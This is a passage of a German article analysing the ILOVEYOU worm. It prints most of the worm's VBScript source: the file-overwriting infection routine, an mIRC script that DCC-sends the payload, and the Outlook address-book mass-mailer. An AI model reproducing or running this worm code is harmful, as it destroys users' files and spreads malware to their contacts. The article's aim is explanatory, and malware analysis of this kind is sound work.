Dateien bestimmter Art werden überschrieben
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh")
or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&""&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini")
or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( == ) { halt }"
scriptini.WriteLine "n2= /.dcc send "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
InfectFiles tut zwei Dinge: Zum einen sucht sie alle Dateien mit bestimmten
Endungen (.js, .wsh, etc.) und überschreibt diese Dateien mit einer Kopie von
sich selbst. Außerdem wird ein Script File für mIRC (einen bekannten Internet
Relay Chat) anelegt, falls das zugehörige Mirc-Programm gefunden wurde: Mit diesem
Script wird - falls es ausgeführt wird - ebenfalls der
Virus weitergetragen - in
diesem Fall an einen anderen mIRC Teilnehmer.
Bei den folgenden Funktionen handelt es sich nur um Hilfesfunktionen
die an anderen Stellen im Programm verwendet werden - die Funktione legen
einen Registry-Eintrag an, lesen einen aus und überprüfen ob bestimmte
Dateien oder Ordner existieren.
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.AddressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
Die Funktion SpreadToEmail() dient einzig und allein einem Zweck: Sie öffnet das
Windows-Adressbuch (das ist die Software, in der unter anderem Outlook die
eMail-Adressen speichert) und sendet den Virus an alle in diesem Adressbuch
befindlichen Empfänger mit einem (englischen) Hinweis-Text. Dies ist offenbar
die primäre Verbreitungsart des Virus: Wird er ausgeführt, so sendet er sich
selbst an alle eMail-Adressen derer er im Adressbuch habhaft werden kann.
Der Virus hat noch eine weitere Funktion (html() - hier nicht abgebildet) die
noch etwas weiteres tut: Sie legt lokal eine HTML-Datei an, die im wesentlichen
nochmals den Virus selbst enthält...
Wie man sieht ist das ganze reichlich primitiv - allerdings trotzdem sehr wirkungsvoll.
Im Kern handelt es sich bei diesem Virus um ein Spiel mit der Psychologie: Mit ein
wenig Social Engineering wird der Empfänger dazu gebracht die
eMail mit dem Virus
zu öffnen - und das alleine ist ausreichend um selbigem Tür und Tor für
seine eigene Verbreitung zu öffnen: Abgesehen davon, das diverse Script-Dateien
mit dem Virus überschrieben werden tut er sonst nicht viel böses: Ärgerlich ist
er aber natürlich schon...
Fragen und Diskussionen zum Scripting
Host kann man im
Programmierer-Forum loswerden,
und mehr Infos und Diskussionen rund um Hacker,
Viren und Dateschutz bietet das gleichnamige
Forum auf nickles.de.
Thomas Wölfer